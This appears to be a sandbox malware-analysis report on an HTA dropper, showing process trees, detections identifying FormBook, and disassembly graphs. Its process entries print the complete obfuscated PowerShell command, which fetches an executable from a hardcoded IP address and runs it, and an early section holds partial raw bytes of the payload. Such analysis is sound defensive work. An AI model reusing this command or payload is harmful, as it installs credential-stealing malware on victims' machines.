                                        Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                        Last-Modified: Wed, 04 Dec 2024 08:38:39 GMT
                                        ETag: "128400-6286db55d5857"
                                        Accept-Ranges: bytes
                                        Content-Length: 1213440
                                        Keep-Alive: timeout=5, max=100
                                        Connection: Keep-Alive
                                        Content-Type: application/x-msdownload
                                        Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 1c ad cf 72 7d c3 9c 72 7d c3 9c 72 7d c3 9c 34 2c 22 9c 70 7d c3 9c ec dd 04 9c 73 7d c3 9c 7f 2f 1c 9c 41 7d c3 9c 7f 2f 23 9c c3 7d c3 9c 7f 2f 22 9c 47 7d c3 9c 7b 05 40 9c 7b 7d c3 9c 7b 05 50 9c 57 7d c3 9c 72 7d c2 9c 52 7f c3 9c 0f 04 29 9c 22 7d c3 9c 0f 04 1c 9c 73 7d c3 9c 7f 2f 18 9c 73 7d c3 9c 72 7d 54 9c 73 7d c3 9c 0f 04 1d 9c 73 7d c3 9c 52 69 63 68 72 7d c3 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 18 15 50 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 de 08 00 00 a2 09 00 00 00 00 00 cd 7d 02 00 00 10 00 00 00 f0 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED]
                                        Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6r}r}r}4,"p}s}/A}/#}/"G}{@{}{PW}r}R)"}s}/s}r}Ts}s}Richr}PELPg"}@B@@@L|ppq+pH@.text `.rdata@@.datatR@.rsrcp@@.relocqpr@B
                                        Dec 7, 2024 15:47:45.492611885 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                        Data Ascii: DALhYC,YY9hcCY8hiCYhnCYM,hsCYhxCYQh}CYSL
                                        Dec 7, 2024 15:47:45.492625952 CET1236INData Raw: 7b 0c 00 7e 6a 8b 55 f4 8d 4b 14 8d 43 10 89 4d 08 89 45 0c 8b 38 0f b6 84 13 10 08 00 00 8b 09 89 4d e8 83 f8 10 0f 8f f4 a2 03 00 0f 84 cd a2 03 00 83 e8 08 74 5c 48 48 0f 84 86 a2 03 00 48 48 0f 84 37 a2 03 00 48 48 0f 84 cc a1 03 00 8b 7d f8
                                        Data Ascii: {~jUKCME8Mt\HHHH7HH}EEMUEM;S|[EMpWVE_^[]}}tWVE8t!EM9t9}ujWPVEUeSVW}3CEW](
                                        Dec 7, 2024 15:47:45.492738962 CET1236INData Raw: 00 00 3b c2 77 4c 0f 84 02 a0 03 00 83 f8 2b 0f 87 2b 01 00 00 0f 84 e7 9f 03 00 83 f8 06 0f 86 79 01 00 00 83 f8 0f 0f 84 a9 00 00 00 83 f8 07 0f 84 80 01 00 00 83 f8 20 0f 85 86 00 00 00 8b c7 c1 e8 10 50 0f b7 c7 50 53 56 e8 0f f9 ff ff eb 7d
                                        Data Ascii: ;wL++y PPSV};w)7;vv83jWSV+KwIQI {Ih>WSPVH_^[]VX33
                                        Dec 7, 2024 15:47:45.492768049 CET1236INData Raw: 84 0e 9d 03 00 83 be 9c 01 00 00 00 0f 85 18 9d 03 00 8d 45 cc 50 ff 33 ff 15 94 f6 48 00 8b 45 d4 8b 4d cc 2b c1 8b 55 d8 89 45 f4 8b 45 d0 2b d0 89 45 e8 8d 45 e4 50 ff 36 89 55 f0 89 4d e4 ff 15 70 f6 48 00 8b 7d e4 8b c7 0f af 45 f8 8b 75 e8
                                        Data Ascii: EP3HEM+UEE+EEP6UMpH}EuM}fE}fEE}fEE}fft(Efu~E+;t'Ef`uE+
                                        Dec 7, 2024 15:47:45.492813110 CET1236INData Raw: ec 0c 8b 4d 08 8b ff 85 c0 74 1c 8b 10 39 0a 74 05 8b 40 04 eb f1 8b 4d 0c 01 4a 04 8b 00 8b 40 08 8b e5 5d c2 08 00 51 89 4d f4 c7 45 f8 01 00 00 00 ff 15 48 f1 48 00 89 45 fc b9 38 58 4c 00 8d 45 f4 50 e8 35 0f 00 00 8b 45 fc eb d3 55 8b ec 8b
                                        Data Ascii: Mt9t@MJ@]QMEHHE8XLEP5EUMtW}_]UQQSVW}EP7HElEpEPVpHME;tuc;xu[s5HsEE;|}t|;
                                        Dec 7, 2024 15:47:45.492825985 CET776INData Raw: 20 58 4c 00 e8 d2 0c 00 00 b9 0c 58 4c 00 e8 a9 0d 00 00 b9 f0 57 4c 00 e8 3a 31 00 00 a1 e0 57 4c 00 85 c0 0f 85 d3 98 03 00 5e c3 55 8b ec 83 ec 28 53 56 57 68 d0 01 00 00 e8 ca e5 01 00 59 85 c0 0f 84 41 02 00 00 8b c8 e8 2e e9 ff ff 8b f8 8b
                                        Data Ascii: XLXLWL:1WL^U(SVWhYA.XL}M9WLEPXL}XL]8XLpuE @#E E@ZEE EE}
                                        Dec 7, 2024 15:47:45.492846966 CET1236INData Raw: 11 83 ff 02 74 51 83 ff 03 74 43 7e 29 83 ff 05 7f 31 80 7e 38 00 75 56 57 51 ff 15 1c f7 48 00 83 ff 08 74 0d 83 ff 04 74 08 ff 75 0c e8 f0 1d 00 00 c6 46 38 01 33 c0 40 5e 5f 5d c2 08 00 33 c0 eb f7 83 ff 06 0f 84 0c 97 03 00 eb e8 c6 46 38 01
                                        Data Ascii: tQtC~)1~8uVWQHttuF83@^_]3F8nF8RQHF83U}eXLt/UBw$XLu\T3@]3UQQ}2XLtt}7XLVW}0
                                        Dec 7, 2024 15:47:45.493139982 CET1236INData Raw: 75 08 e8 82 f6 ff ff 89 46 6c eb dd 55 8b ec 51 51 8d 45 fc b9 b0 57 4c 00 50 8d 45 f8 50 ff 75 08 e8 53 f4 ff ff 84 c0 74 4b 8b 4d fc a1 24 58 4c 00 57 8b 04 88 8b 38 80 bf 90 00 00 00 1b 75 38 53 8b 5d 0c 8d 43 ff 83 f8 17 77 30 0f b6 80 29 30
                                        Data Ascii: uFlUQQEWLPEPuStKM$XLW8u8S]Cw0)0@$0@juuSW3@[_] 333I0@/@bCCCDC0@U@xRLV3XLjE0E+uEEu0HE
                                        Dec 7, 2024 15:47:45.493155003 CET1236INData Raw: f7 e3 57 0f 90 c1 f7 d9 0b c8 51 e8 49 d9 01 00 83 7e 04 00 8b f8 59 0f 85 87 9b 03 00 89 7e 04 5f eb a8 8b c1 eb d4 33 d2 eb b4 56 8b f1 57 33 ff c7 06 14 f9 48 00 39 7e 08 76 19 8b 46 04 ff 34 b8 e8 88 d9 01 00 8b 46 04 59 83 24 b8 00 47 3b 7e
                                        Data Ascii: WQI~Y~_3VW3H9~vF4FY$G;~rvfnY_^USVj[F9Fu0jX;sL3FWQ~Y)~_SYtMNFF^[]3VNVF4FYN^$
                                        Dec 7, 2024 15:47:45.612596035 CET1236INData Raw: 00 83 65 e8 00 83 c4 0c 33 c0 89 75 e0 40 89 45 ec 6a 00 50 8d 45 e0 50 53 e8 91 55 00 00 83 c4 10 8d 4d e0 e8 66 5f 00 00 33 ff 85 f6 7e 35 8d 45 f0 50 8d 4d e0 e8 1e 59 00 00 47 8d 45 e0 57 6a 01 50 53 e8 66 55 00 00 83 c4 10 8d 4d e0 e8 3b 5f
                                        Data Ascii: e3u@EjPEPSUMf_3~5EPMYGEWjPSfUM;_EPM?;|MgM_MceMEWM?_^[]3GVW5 H3W5xRLWWjdh,PPhlHPPWW5xRLRLjPWWWWhPWhHW


                                        Statistics

                                        CPU Usage

                                        Click to jump to process

                                        Memory Usage

                                        Click to jump to process

                                        High Level Behavior Distribution

                                        Click to dive into process behavior distribution

                                        Behavior

                                        Click to jump to process

                                        System Behavior

                                        General

                                        Target ID:0
                                        Start time:09:47:39
                                        Start date:07/12/2024
                                        Path:C:\Windows\SysWOW64\mshta.exe
                                        Wow64 process (32bit):true
                                        Commandline:mshta.exe "C:\Users\user\Desktop\seemejkiss.hta"
                                        Imagebase:0xa60000
                                        File size:13'312 bytes
                                        MD5 hash:06B02D5C097C7DB1F109749C45F3F505
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:moderate
                                        Has exited:true

                                        General

                                        Target ID:1
                                        Start time:09:47:39
                                        Start date:07/12/2024
                                        Path:C:\Windows\SysWOW64\cmd.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Windows\system32\cmd.exe" "/C pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"
                                        Imagebase:0x790000
                                        File size:236'544 bytes
                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:2
                                        Start time:09:47:39
                                        Start date:07/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:3
                                        Start time:09:47:40
                                        Start date:07/12/2024
                                        Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        Wow64 process (32bit):true
                                        Commandline:pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"
                                        Imagebase:0xe90000
                                        File size:433'152 bytes
                                        MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:high
                                        Has exited:true

                                        General

                                        Target ID:4
                                        Start time:09:47:42
                                        Start date:07/12/2024
                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline"
                                        Imagebase:0xc00000
                                        File size:2'141'552 bytes
                                        MD5 hash:EB80BB1CA9B9C7F516FF69AFCFD75B7D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:moderate
                                        Has exited:true

                                        General

                                        Target ID:5
                                        Start time:09:47:43
                                        Start date:07/12/2024
                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                        Wow64 process (32bit):true
                                        Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3925.tmp" "c:\Users\user\AppData\Local\Temp\5zyziwbf\CSCADB73B4CC47C40A8804A92B1B0BD1E62.TMP"
                                        Imagebase:0x320000
                                        File size:46'832 bytes
                                        MD5 hash:70D838A7DC5B359C3F938A71FAD77DB0
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Reputation:moderate
                                        Has exited:true

                                        General

                                        Target ID:6
                                        Start time:09:47:50
                                        Start date:07/12/2024
                                        Path:C:\Users\user\AppData\Roaming\winnit.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\AppData\Roaming\winnit.exe"
                                        Imagebase:0xab0000
                                        File size:1'213'440 bytes
                                        MD5 hash:A97987DF137D1328F00AA6B81EBA4957
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Antivirus matches:
                                        • Detection: 100%, Joe Sandbox ML
                                        • Detection: 58%, ReversingLabs
                                        Reputation:low
                                        Has exited:true

                                        General

                                        Target ID:7
                                        Start time:09:47:50
                                        Start date:07/12/2024
                                        Path:C:\Windows\SysWOW64\svchost.exe
                                        Wow64 process (32bit):true
                                        Commandline:"C:\Users\user\AppData\Roaming\winnit.exe"
                                        Imagebase:0x350000
                                        File size:46'504 bytes
                                        MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Yara matches:
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.2350161997.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.2350750527.0000000003950000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                        Reputation:high
                                        Has exited:true

                                        Disassembly

                                        Reset < >

                                          Executed Functions

                                          Function 06580FDF Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000003.2074232244.0000000006580000.00000010.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_3_6580000_mshta.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                          • Instruction ID: 8b866caceb2ec23d22a5ae2002c600aaa5d7ae9759ac92a3ba8a56eabe92bc21
                                          • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                          • Instruction Fuzzy Hash:
                                          Function 06580FD7 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000003.2074232244.0000000006580000.00000010.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_3_6580000_mshta.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                          • Instruction ID: 8b866caceb2ec23d22a5ae2002c600aaa5d7ae9759ac92a3ba8a56eabe92bc21
                                          • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                          • Instruction Fuzzy Hash:
                                          Function 06580FE7 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000003.2074232244.0000000006580000.00000010.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_3_6580000_mshta.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                          • Instruction ID: 8b866caceb2ec23d22a5ae2002c600aaa5d7ae9759ac92a3ba8a56eabe92bc21
                                          • Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
                                          • Instruction Fuzzy Hash:

                                          Execution Graph

                                          Execution Coverage:3%
                                          Dynamic/Decrypted Code Coverage:0%
                                          Signature Coverage:10.2%
                                          Total number of Nodes:49
                                          Total number of Limit Nodes:7
                                          execution_graph 13443 33e7480 13444 33e74be 13443->13444 13446 33e764b 13444->13446 13451 33e7a18 13444->13451 13459 33e7c45 13444->13459 13466 33e79f7 13444->13466 13474 33e7da8 13444->13474 13445 33e75df 13456 33e7a1c 13451->13456 13453 33e7ea8 13453->13445 13454 33e7b30 13454->13445 13455 33e7d57 URLDownloadToFileW 13455->13453 13456->13454 13456->13455 13481 7934610 13456->13481 13490 79345f4 13456->13490 13463 33e7b9a 13459->13463 13461 33e7ea8 13461->13445 13462 33e7d57 URLDownloadToFileW 13462->13461 13463->13462 13464 7934610 4 API calls 13463->13464 13465 79345f4 4 API calls 13463->13465 13464->13462 13465->13462 13471 33e7a04 13466->13471 13468 33e7ea8 13468->13445 13469 33e7b30 13469->13445 13470 33e7d57 URLDownloadToFileW 13470->13468 13471->13469 13471->13470 13472 7934610 4 API calls 13471->13472 13473 79345f4 4 API calls 13471->13473 13472->13470 13473->13470 13475 33e7cf9 13474->13475 13479 7934610 4 API calls 13475->13479 13480 79345f4 4 API calls 13475->13480 13477 33e7ea8 13477->13445 13478 33e7d57 URLDownloadToFileW 13478->13477 13479->13478 13480->13478 13482 7934a93 13481->13482 13483 7934641 13481->13483 13482->13455 13483->13482 13486 33e7a18 5 API calls 13483->13486 13487 33e7da8 5 API calls 13483->13487 13488 33e79f7 5 API calls 13483->13488 13489 33e7c45 5 API calls 13483->13489 13500 33e1bf8 13483->13500 13484 7934a34 13484->13455 13486->13484 13487->13484 13488->13484 13489->13484 13491 79345b4 13490->13491 13493 7934606 13490->13493 13491->13455 13492 7934a93 13492->13455 13493->13492 13495 33e1bf8 URLDownloadToFileW 13493->13495 13496 33e7a18 5 API calls 13493->13496 13497 33e7da8 5 API calls 13493->13497 13498 33e79f7 5 API calls 13493->13498 13499 33e7c45 5 API calls 13493->13499 13494 7934a34 13494->13455 13495->13494 13496->13494 13497->13494 13498->13494 13499->13494 13501 33e7e00 URLDownloadToFileW 13500->13501 13503 33e7ea8 13501->13503 13503->13484

                                          Executed Functions

                                          Function 033E7A18 Relevance: 1.9, APIs: 1, Instructions: 357COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 341 33e7a18-33e7a4a 343 33e7a4c-33e7a53 341->343 344 33e7a90 341->344 346 33e7a64 343->346 347 33e7a55-33e7a62 343->347 345 33e7a93-33e7acf 344->345 353 33e7b58-33e7b63 345->353 354 33e7ad5-33e7ade 345->354 348 33e7a66-33e7a68 346->348 347->348 351 33e7a6f-33e7a71 348->351 352 33e7a6a-33e7a6d 348->352 356 33e7a82 351->356 357 33e7a73-33e7a80 351->357 355 33e7a8e 352->355 358 33e7b65-33e7b68 353->358 359 33e7b72-33e7b94 353->359 354->353 360 33e7ae0-33e7ae6 354->360 355->345 361 33e7a84-33e7a86 356->361 357->361 358->359 369 33e7c5e-33e7d52 359->369 370 33e7b9a-33e7ba3 359->370 362 33e7aec-33e7af9 360->362 363 33e7de8-33e7dfd 360->363 361->355 366 33e7b4f-33e7b56 362->366 367 33e7afb-33e7b2e 362->367 371 33e7dff-33e7e52 363->371 372 33e7e7c-33e7ea6 URLDownloadToFileW 363->372 366->353 366->360 384 33e7b4b 367->384 385 33e7b30-33e7b33 367->385 419 33e7d55 call 7934610 369->419 420 33e7d55 call 79345f4 369->420 370->363 373 33e7ba9-33e7be7 370->373 386 33e7e5d-33e7e63 371->386 387 33e7e54-33e7e5a 371->387 375 33e7eaf-33e7ec3 372->375 376 33e7ea8-33e7eae 372->376 392 33e7be9-33e7bff 373->392 393 33e7c01-33e7c14 373->393 376->375 384->366 389 33e7b3f-33e7b48 385->389 390 33e7b35-33e7b38 385->390 394 33e7e65-33e7e6e 386->394 395 33e7e71-33e7e79 386->395 387->386 390->389 396 33e7c16-33e7c1d 392->396 393->396 394->395 395->372 398 33e7c1f-33e7c30 396->398 399 33e7c42 396->399 398->399 402 33e7c32-33e7c3b 398->402 399->369 402->399 413 33e7d57-33e7d60 414 33e7d7a-33e7d8d 413->414 415 33e7d62-33e7d78 413->415 416 33e7d8f-33e7d96 414->416 415->416 417 33e7d98-33e7d9e 416->417 418 33e7da5 416->418 417->418 418->363 419->413 420->413
                                          Memory Dump Source
                                          • Source File: 00000003.00000002.2180263689.00000000033E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_3_2_33e0000_powershell.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 78c760e9a3265e2052297adeb33c33dd3037800477d2f619044bacdd064c5cc2
                                          • Instruction ID: 8eb52c8983c390c1f17c185ec61757c84d7740409509a44f5189f0fc59c990d3
                                          • Opcode Fuzzy Hash: 78c760e9a3265e2052297adeb33c33dd3037800477d2f619044bacdd064c5cc2
                                          • Instruction Fuzzy Hash: 35E10775A00219EFDB05DF98D984A9EFBB6FF88310F248159E804AB365C775ED81CB90
                                          Function 07931F40 Relevance: 5.6, Strings: 4, Instructions: 571COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 0 7931f40-7931f65 1 7931f6b-7931f70 0->1 2 7932158-79321a2 0->2 3 7931f72-7931f78 1->3 4 7931f88-7931f8c 1->4 12 7932326-793236a 2->12 13 79321a8-79321ad 2->13 8 7931f7a 3->8 9 7931f7c-7931f86 3->9 5 7931f92-7931f94 4->5 6 7932108-7932112 4->6 10 7931f96-7931fa2 5->10 11 7931fa4 5->11 14 7932120-7932126 6->14 15 7932114-793211d 6->15 8->4 9->4 16 7931fa6-7931fa8 10->16 11->16 29 7932480-79324b5 12->29 30 7932370-7932375 12->30 17 79321c5-79321c9 13->17 18 79321af-79321b5 13->18 19 7932128-793212a 14->19 20 793212c-7932138 14->20 16->6 22 7931fae-7931fcd 16->22 27 79322d8-79322e2 17->27 28 79321cf-79321d1 17->28 24 79321b7 18->24 25 79321b9-79321c3 18->25 26 793213a-7932155 19->26 20->26 67 7931fcf-7931fdb 22->67 68 7931fdd 22->68 24->17 25->17 31 79322e4-79322ec 27->31 32 79322ef-79322f5 27->32 34 79321d3-79321df 28->34 35 79321e1 28->35 58 79324e3-79324ed 29->58 59 79324b7-79324d9 29->59 37 7932377-793237d 30->37 38 793238d-7932391 30->38 40 79322f7-79322f9 32->40 41 79322fb-7932307 32->41 42 79321e3-79321e5 34->42 35->42 44 7932381-793238b 37->44 45 793237f 37->45 47 7932432-793243c 38->47 48 7932397-7932399 38->48 46 7932309-7932323 40->46 41->46 42->27 50 79321eb-793220a 42->50 44->38 45->38 52 7932449-793244f 47->52 53 793243e-7932446 47->53 56 793239b-79323a7 48->56 57 79323a9 48->57 85 793221a 50->85 86 793220c-7932218 50->86 63 7932451-7932453 52->63 64 7932455-7932461 52->64 60 79323ab-79323ad 56->60 57->60 65 79324f7-79324fd 58->65 66 79324ef-79324f4 58->66 96 79324db-79324e0 59->96 97 793252d-7932556 59->97 60->47 70 79323b3-79323b5 60->70 71 7932463-793247d 63->71 64->71 72 7932503-793250f 65->72 73 79324ff-7932501 65->73 75 7931fdf-7931fe1 67->75 68->75 76 79323b7-79323bd 70->76 77 79323cf-79323d6 70->77 81 7932511-793252a 72->81 73->81 75->6 82 7931fe7-7931fee 75->82 83 79323c1-79323cd 76->83 84 79323bf 76->84 87 79323d8-79323de 77->87 88 79323ee-793242f 77->88 82->2 92 7931ff4-7931ff9 82->92 83->77 84->77 93 793221c-793221e 85->93 86->93 94 79323e2-79323ec 87->94 95 79323e0 87->95 98 7932011-7932020 92->98 99 7931ffb-7932001 92->99 93->27 102 7932224-793225b 93->102 94->88 95->88 116 7932585-79325a6 97->116 117 7932558-793257e 97->117 98->6 112 7932026-7932044 98->112 105 7932003 99->105 106 7932005-793200f 99->106 124 7932275-793227c 102->124 125 793225d-7932263 102->125 105->98 106->98 112->6 123 793204a-793206f 112->123 126 79325a8-79325ae 116->126 127 79325af-79325b4 116->127 117->116 123->6 151 7932075-793207c 123->151 128 7932294-79322d5 124->128 129 793227e-7932284 124->129 133 7932267-7932273 125->133 134 7932265 125->134 126->127 130 79325b6-79325d3 127->130 131 79325ed-79325f7 127->131 135 7932286 129->135 136 7932288-7932292 129->136 145 79325d5-79325e7 130->145 146 793263d-7932642 130->146 138 7932600-7932606 131->138 139 79325f9-79325fd 131->139 133->124 134->124 135->128 136->128 143 7932608-793260a 138->143 144 793260c-7932618 138->144 148 793261a-793263a 143->148 144->148 145->131 146->145 153 79320c2-79320f5 151->153 154 793207e-7932099 151->154 166 79320fc-7932105 153->166 159 79320b3-79320b7 154->159 160 793209b-79320a1 154->160 164 79320be-79320c0 159->164 161 79320a3 160->161 162 79320a5-79320b1 160->162 161->159 162->159 164->166
